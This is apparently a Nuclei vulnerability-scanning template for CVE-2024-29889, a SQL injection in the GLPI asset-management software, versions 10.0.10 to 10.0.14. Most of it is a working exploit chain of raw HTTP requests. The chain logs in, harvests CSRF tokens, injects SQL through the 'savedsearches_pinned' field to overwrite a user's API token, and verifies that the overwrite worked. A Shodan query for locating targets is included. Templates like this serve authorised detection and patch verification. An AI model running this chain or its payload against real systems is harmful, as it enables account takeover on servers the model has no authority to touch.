id: CVE-2024-29889

info:
  name: GLPI 10.0.10-10.0.14 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    GLPI is a Free Asset and IT Management Software package. Prior to 10.0.15, an authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data take control of it.
  impact: |
    SQL Injection vulnerability in GLPI versions 10.0.10-10.0.14 allows an attacker to alter another user account data and take control of it.
  remediation: |
    This vulnerability is fixed in 10.0.15.
  reference:
    - https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29889
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 7.1
    cve-id: CVE-2024-29889
    cwe-id: CWE-89
    epss-score: 0.68891
    epss-percentile: 0.98648
    cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 8
    vendor: glpi-project
    product: glpi
    shodan-query: http.title:"glpi"
  tags: cve,cve2024,glpi,sqli,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8)

http:
  - raw:
      - |
        GET /index.php?noAUTO=1 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: fieldlogin
        part: body
        group: 1
        regex:
          - id="login_name" name="([a-z0-9]+)
        internal: true

      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - name="_glpi_csrf_token" value="([0-9a-z]+)
        internal: true

      - type: regex
        name: fieldpassword
        part: body
        group: 1
        regex:
          - id="login_password" name="([0-9a-z]+)
        internal: true

  - raw:
      - |
        POST /front/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        noAUTO=1&redirect=&_glpi_csrf_token={{csrf}}&{{fieldlogin}}={{username}}&{{fieldpassword}}={{password}}&auth=local&submit=

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location,'front/central.php')
        condition: and
        internal: true

  - raw:
      - |
        GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: id
        part: body
        group: 1
        regex:
          - type='hidden' name='id' value='([0-9]+)'
        internal: true

  - raw:
      - |
        GET /front/preference.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf2
        part: body
        group: 1
        regex:
          - type="hidden" name="_glpi_csrf_token" value="(.*?)"
        internal: true

  - raw:
      - |
        POST /front/preference.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRNyVHuSeiTMi2G7K

        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="savedsearches_pinned"

        {"exploit":"',api_token='{{randstr}}' where id={{id}};-- -"}
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_glpi_csrf_token"

        {{csrf2}}
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="name"

        glpi
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="id"

        {{id}}
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="realname"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_uploader_picture[]"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_blank_picture"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="firstname"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="language"

        en_US
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="password"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="password2"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="phone"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_useremails[-1]"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="mobile"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="phone2"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="registration_number"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="locations_id"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="use_mode"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_reset_api_token"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="update"

        Save
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K--

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        condition: and
        internal: true

  - raw:
      - |
        GET /front/preference.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf3
        part: body
        group: 1
        regex:
          - type="hidden" name="_glpi_csrf_token" value="(.*?)"
        internal: true

  - raw:
      - |
        POST /ajax/pin_savedsearches.php HTTP/1.1
        Host: {{Hostname}}
        X-Glpi-Csrf-Token: {{csrf3}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        itemtype=Monitor

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body,"\"success\":true")
        condition: and
        internal: true

  - raw:
      - |
        GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body,"name=\"_api_token\" value=\"{{randstr}}")
        condition: and
# digest: 4a0a004730450221008e26b0c08648c2690202ce2394420aaa9a60a68a15215f8d7ec31c4fff90e74502206d117b3ae3ff233a5e24509df30bfbb7fa6002a99d6f05217c56add5c363c15a:922c64590222798bb761d5b6d8e72950